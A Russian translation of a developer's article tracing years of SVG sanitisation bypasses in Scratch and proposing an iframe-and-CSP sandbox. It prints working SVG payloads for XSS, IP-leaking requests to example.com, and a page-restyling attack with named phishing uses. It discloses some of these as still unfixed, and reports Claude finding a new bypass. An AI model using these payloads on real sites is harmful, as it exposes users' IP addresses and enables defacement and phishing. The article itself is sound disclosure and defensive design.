javascript

Проблемы санации SVG

  • четверг, 30 апреля 2026 г. в 00:00:10
https://habr.com/ru/articles/1029558/

Рендерер Scratch имеет долгую историю связанных с SVG уязвимостей. Их источником становится то, что Scratch парсит сгенерированный пользователем (то есть контролируемый нападающими) контент в элемент <svg> и добавляет его в основной документ для выполнения различных операций (например, для измерения ограничивающего прямоугольника SVG более надёжным образом, чем viewbox или width/height).

Даже если SVG остаётся в основном документе очень недолго, это небезопасная по своей природе операция. Для обеспечения защиты Scratch реализовывал всё более сложную инфраструктуру парсинга SVG и находящейся внутри разметки, чтобы устранить опасные части.

Я считаю, что подход Scratch к санации SVG обречён на провал. Чтобы объяснить это, нам нужно совершить путешествие по истории санации SVG в Scratch и посмотреть, насколько хорошо он с этим справлялся.

2019 год: XSS при помощи тэга <script>

В 2019 году, спустя несколько месяцев после выпуска Scratch 3, разработчики Scratch обнаружили, что SVG могут содержать тэги <script> , исполнение которых при загрузке SVG обеспечивает Scratch. Такая атака называется XSS.

В Scratch атака XSS позволяет нападающему выполнять действия от лица того, кто загрузит его проект. Например, нападающий может публиковать комментарии, удалять проекты или пытаться захватить аккаунт жертвы иными способами. В Scratch Desktop XSS переходит в исполнение произвольного кода, потому что Scratch Desktop включает опасную фичу интеграции Node.js Electron. (В TurboWarp Desktop эта фича не включена с v0.2.0 от марта 2021 года).

Пример из набора тестов Scratch:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

Проблема была устранена при помощи регулярного выражения, удаляющего тэги script.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2020 год: XSS из-за ошибок в предыдущем исправлении (CVE-2020-7750)

В 2020 году apple502j обнаружил, что XSS всё ещё возможен. Оказалось, что предыдущее исправление абсолютно поломанное и его можно обойти, написав <SCRIPT> заглавными буквами, потому что регулярное выражение учитывало регистр; было и множество других способов обхода. Даже если бы регулярное выражение реализовали корректно, это всё равно бы не сработало, потому что существуют и другие способы встраивания JavaScript в SVG. Например, можно использовать встроенный обработчик событий:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

Проблема была устранена при помощи DOMPurify, удаляющего скрипты из SVG перед тем, как scratch-svg-renderer добавляет их в документ.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2022 год: HTTP-утечка через href <image>

В 2022 году обнаружилось, что при помощи свойства href элемента <image> нападающий может создать SVG, который при загрузке вызывает внешний запрос. Оказалось, что хоть DOMPurify и удаляет исполняемый код, он не защищает от HTTP-утечек, потому что «существует слишком много способов её реализации и наши тесты показали, что неё нельзя защититься надёжным образом».

Для Scratch HTTP-утечка означает, что пользователь Scratch может записывать IP-адрес любого, кто загружает его проект, потенциально раскрывая такую информацию, как местоположение или школьный округ. Жертве не нужно нажимать ни на какие ссылки; логгинг IP-адреса происходит просто при загрузке проекта. Похоже, разработчики Scratch посчитали это багом безопасности, и я согласен с ними.

Пример:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/ping"/>
</svg>

Проблема была решена добавлением хуков DOMPurify для удаления свойств href из всех элементов, если URL ссылается на удалённый сайт.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2023 год: HTTP-утечка через @import CSS

В 2023 году обнаружилось, что при помощи правила @import CSS внутри элемента <style> нападающий может создать проект, создающий внешние запросы при загрузке проекта. Пример:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url("https://example.com/ping");
  </style>
</svg>

Проблема была решена интеграцией написанного на JavaScript парсера CSS, который удаляет опасные части CSS. Он парсит все содержащиеся в SVG таблицы стилей, удаляет все правила @import, и в случае внесения изменений преобразует CSS обратно в строку.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2024 год: XSS через Paper.js

В 2024 году я обнаружил XSS в Paper.js — библиотеке, которую Scratch использует в редакторе костюмов. Оказалось, что хотя Scratch санировал SVG перед работой с ними в scratch-svg-renderer, Paper.js передавались несанированные SVG. В основном эта уязвимость представляла такую же угрозу, как XSS scratch-svg-renderer, обнаруженное в 2020 году, но возникала при использовании редактора костюмов, а не при открытии проекта. Пример:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

Проблема была частично решена за очень долгий период времени благодаря расширению кода санации SVG: теперь он запускался при загрузке SVG, а не только при его обработке в scratch-svg-renderer. С этого момента Paper.js получает только уже санированные SVG.

Я написал «частично решена», потому что не знаю, выполняется ли вообще санация для скачиваемых сервером SVG. В поддержке Scratch мне сказали, что у них «есть меры защиты против того, что обрабатывается на стороне сервера», из-за чего такая санация была бы избыточной. При разработке proof-of-concept я ни разу не видел признаков такой защиты, но, возможно, она реальна.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2025 год: HTTP-утечка через url() CSS

В 2025 году выяснилось, что при использовании url() внутри некоторых правил CSS нападающий может создать SVG, при загрузке создающий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!-- встроенный стиль -->
    <rect style="background-image: url(https://example.com/ping)" />

    <!-- также может использовать элемент <style> -->
    <style>
        .img {
            background-image: url("https://example.com/ping");
        }
    </style>
    <rect class="img" />
</svg>

Проблема была решена существенным расширением кода санации SVG: теперь он искал любые вхождения url() и удалял все стили или атрибуты, ссылающиеся на внешние URL.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2026 год: HTTP-утечка через множество багов в старом коде

В 2026 году обнаружилось, что при использовании url() внутри некоторых правил CSS нападающий по-прежнему может создать SVG, при загрузке совершающий внешний запрос. Оказалось, что эта HTTP-утечка стала возможной благодаря как минимум трём уникальным багам:

  • Не учтено то, что CSS позволяет записывать url(...) при помощи управляющих последовательностей.

  • Не обрабатывалась ситуация, при которой атрибут style содержал несколько url(...), где первый безопасен, а второй нет.

  • Не обрабатывался url(), определённый в переменной CSS, на который ссылаются через var(—name).

Пример:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

Проблема была решена добавлением большого объёма дополнительной сложности вокруг кода, который и так уже был слишком сложным.

Что ж, теперь благодаря этому изменению SVG наверняка полностью безопасны и больше не потребуют исправлений.

2026 год: полная смена стилей страницы при помощи долгих переходов

В 2026 году выяснилось, что хитро использовав очень долгие переходы и заставив браузер изменить стили всех элементов, нападающий может применять ко всей странице Scratch произвольные стили, сохраняющиеся до обновления страницы. Чаще всего эта уязвимость использовалась для развлечений, но её можно применять и для более зловещих действий:

  • Прятать кнопку «Пожаловаться».

  • Сделать кнопки лайков/добавления в избранное размером со всю страницу, чтобы пользователи вынуждены были их нажимать.

  • Отображать текст, сообщающий пользователю, что ему нужно открыть веб-сайт в новой вкладке, чтобы «верифицировать» свой аккаунт (на какой-нибудь фишинговой странице). Пользователи, скорее всего, поверят инструкциям, потому что сообщение поступает от реального scratch.mit.edu.

Пример проекта (не мой): https://scratch.mit.edu/projects/1299571218/

Рано или поздно это, наверно, исправят, но пока пользователь будет видеть такое:

Scratch project page, but all the page background colors are very obviously wrong.

В этом проекте используются два SVG. Первый из них — это «триггер»:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>

  <style>
    /* Заставляем браузер вычислять стили заново, чтобы активировать первый SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

Второй содержит стили для отображения:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>

  <style>
    /* Глобальный синий фон */
    * {
      background-color: blue !important;
      color: white !important;
    }

    /* Стилизация инструкций/описания проекта */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

Не буду делать вид, что понимаю происходящее здесь, и почему это работает недетерминированно, но в целом представляю это так:

  • Триггерный SVG применяет transform и filter к каждому элементу документа, чтобы вынудить браузер сразу же заново вычислить все стили, применив стили из другого SVG.

  • Триггерный SVG применяет очень долгий transition, чтобы после удаления другого SVG стили сохранялись в течение всего «перехода».

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

2026 год: HTTP-утечка через image-set()

Я сообщал о ней разработчикам Scratch в 2025 году. Они её не устранили, поэтому я раскрываю её в этой статье. Все разумные сроки раскрытия прошли уже полгода назад.

Вместо url() нападающий может использовать image-set(), чтобы создать SVG, при загрузке выполняющий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) может использовать внешние ресурсы, которые можно запрашивать без url().
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />

    <!--
        image-set(url(...)) работает аналогично image-set(...).
        Такой способ уже блокируется существующей санацией.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>

    <!--
        image-set() также может использоваться для встраивания атрибутов стилей.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

20XX год: HTTP-утечка через новые фичи CSS

Об этом я тоже сообщал разработчикам Scratch в 2025 году. На самом деле, этот баг пока не работает, но начнёт работать в будущем, если браузеры реализуют все CSS Units Level 4 или CSS Images Level 4. Сегодня Ladybird — единственный реализующий их браузер, но рано или поздно их могут реализовать и самые популярные браузеры.

Вместо url() нападающий может использовать src() или image(), чтобы создать SVG, при загрузке совершающий внешний запрос. Примеры:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Всё, что есть в этом файле, использует фичи, определённые в спецификациях браузеров, но пока не реализованные.
        Теоретически, браузеры будущего могут инициировать запросы, когда увидят эти стили.
    -->

    <!--
        CSS Units Level 4 определяет src(...), как альтернативу url(...).
        В отличие от url(), URL src() может быть любым выражением, а не только постоянной строкой.
        Ссылка: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Пока не реализовано ни в одном популярном браузере. (Только в экспериментальном браузере Ladybird)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />

    <!--
        CSS Images Level 4 определяет image(), как альтернативу url() для изображений.
        Ссылка: https://www.w3.org/TR/css-images-4/#image-notation
        Пока не реализовано ни в одном популярном браузере.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />

    <!-- Аналогично приведённым выше примерам, но с использованием встроенных стилей -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

Эта проблема не решена.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.

Такая система неустойчива

Засовывание в процесс санации всё больше сложности — это обречённое на провал решение. Мы уже углубились на пять крупных доработок, но до сих пор существуют известные дыры. Люди активно делятся проектами на веб-сайте Scratch, обходя санацию SVG. А в момент, когда в браузерах решат реализовать последние спецификации CSS, откроется ещё больше дыр.

Кроме того, не у всех этих проблем есть чёткие решения. В случае уязвимости с полной стилизацией страницы оба SVG выглядят совершенно невинно: в них нет JavaScript и ссылок на внешние ресурсы. Вероятно, устранить проблему можно было бы, удалив стили transition, потому что в Scratch переходы всё равно никогда не выполняются, но уверены ли мы, что этого достаточно? Вспомним ли мы, что нужно удалить все версии transition с префиксами поставщика? А что насчёт стилей animation?

Вот некоторые другие примеры, которые могут обеспечить возможность обхода защиты в будущем:

  • css-tree (библиотека, используемая Scratch для парсинга CSS) и реальные парсеры CSS браузеров могут совпадать не полностью. В этом случае css-tree может спарсить CSS так, что всё выглядит правильно, а значит, ничего не удалится, но реальный парсер браузера потом распознает внешний контент.

  • Продвинутые новые фичи CSS наподобие @property или native nesting, которые версии css-tree, возможно, не смогут осмысленно парсить без постоянных обновлений.

  • Браузеры всегда могут добавить новые функции, способные ссылаться на внешний контент, как это произошло с image-set() и с тем, что подразумевает спецификация в src() и image(). Как не отставать от постоянных изменений в этих спецификациях и проверять, не ссылается ли каждая новая функция на внешний контент?

Альтернатива

TurboWarp (форк Scratch, над которым работаю я) не затронули HTTP-утечки 2026 года и проблема полной смены стилей страницы. И не потому, что я нашёл все хитрые способы, которыми SVG могут наносить вред: на самом деле, я полностью удалил код санации CSS, чтобы упакованные проекты стали на 400 КБ меньше.

Я реализовал альтернативное решение для сэндбоксинга SVG внутри iframe. Сначала мы создаём iframe со свойством sandbox, равным allow-same-origin. Это не позволяет исполнять скрипты снаружи iframe, но позволяет при этом взаимодействовать с контентом внутри.

Во-вторых, мы создаём iframe со следующим HTML:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:">
    </head>
    <body></body>
</html>

Встроенная Content-Security-Policy настроена так, чтобы блокировать все скрипты и позволять загружать только безопасные ресурсы из URL безопасных данных. Также мы по-прежнему используем DOMPurify для устранения из SVG очевидно зловредных вещей. Затем мы помещаем iframe в какую-нибудь часть документа за пределами экрана, чтобы необходимый Scratch API измерений продолжал работать.

Такое решение обеспечивает нам очень удобные свойства:

  • Браузер использует готовый код, чтобы выполнять за нас самую сложную работу.

    TurboWarp не обязан знать о всех способах, которыми SVG может выполнять запрос. Их уже знает браузер, и он будет проверять их для всех новых добавляемых API.

    Реальные реализации CSP неидеальны и содержат дыры. Однако эти дыры обычно оказываются странными пограничными случаями, требующими от нападающего обеспечить исполнение JavaScript. Такие уязвимости считаются проблемами безопасности браузеров, поэтому за них платят баг-баунти.

  • SVG не может влиять на основной документ.

    Возьмём для примера смену стилей всей страницы. Так как SVG заключён в iframe, он может изменить стили только этого iframe. Стили iframe ни на что не влияют, так что нас это устраивает.

Наш код можно найти здесь:

Вероятно, можно делать что-то интересное с shadow DOM или другими веб-API, но нас вполне устраивает решение с iframe.

Ниже я расскажу о проблемах, о которых узнал после публикации статьи.

12 апреля 2026 года: Claude нашёл HTTP-утечку через расслабленный синтаксис вложенности CSS

После публикации статьи мне стало интересно, насколько хорошо современные языковые модели умеют находить подобные баги. Я попросил Claude Opus 4.6 клонировать репозиторий scratch-editor, изучить последние изменения в рендерере SVG и поискать в них дыры. Результаты оказались интересными:

  • Claude самостоятельно обнаружил, что image-set(...) не санируется и может вызывать HTTP-утечки.

  • Claude обнаружил новую проблему, не описанную в этом посте.

Баг связан с вложенностью CSS, которая может проявляться в двух формах. Вложенный стиль может добавлять к селектору префикс & или не добавлять префикс (последнее известно, как «расслабленный» синтаксис). Современные браузеры интерпретируют оба показанных ниже примера одинаково.

g {
    & rect {
        background-image: url(https://example.com/ping);
    }
}

g {
    rect {
        background-image: url(https://example.com/ping);
    }
}

css-tree способен парсить версию с префиксом & в осмысленное дерево синтаксиса, которое способен санировать Scratch. Однако оказалось, что css-tree не знает, как парсить расслабленную версию. Весь блок div { ... } парсится, как узел «сырого текста», который код Scratch не санирует. Вот полный пример SVG:

<svg xmlns="http://www.w3.org/2000/svg">
    <style>
        g { rect { background-image: url(https://example.com/ping); } }
    </style>
    <g><rect></rect></g>
</svg>

Ранее в этом посте я говорил, что css-tree и реальные парсеры CSS браузеров могут совпадать не полностью. Вот реальный пример бага, позволяющего обойти санацию CSS. Стоит отметить, что сейчас у css-tree есть 48 открытых issue и множество других неизвестных проблем. Я считаю, что надежда на то, что css-tree будет идеальным парсером — тупиковый путь, который приведёт к ещё большему количеству уязвимостей. Песочница SVG в TurboWarp полностью устранила этот баг, хотя я о нём даже не знал.

Эта проблема не устранена.  Issue css-tree по этому багу открыта с декабря 2023 года.

Что ж, если её решат, то SVG наверняка будут полностью безопасны и больше не потребуют исправлений.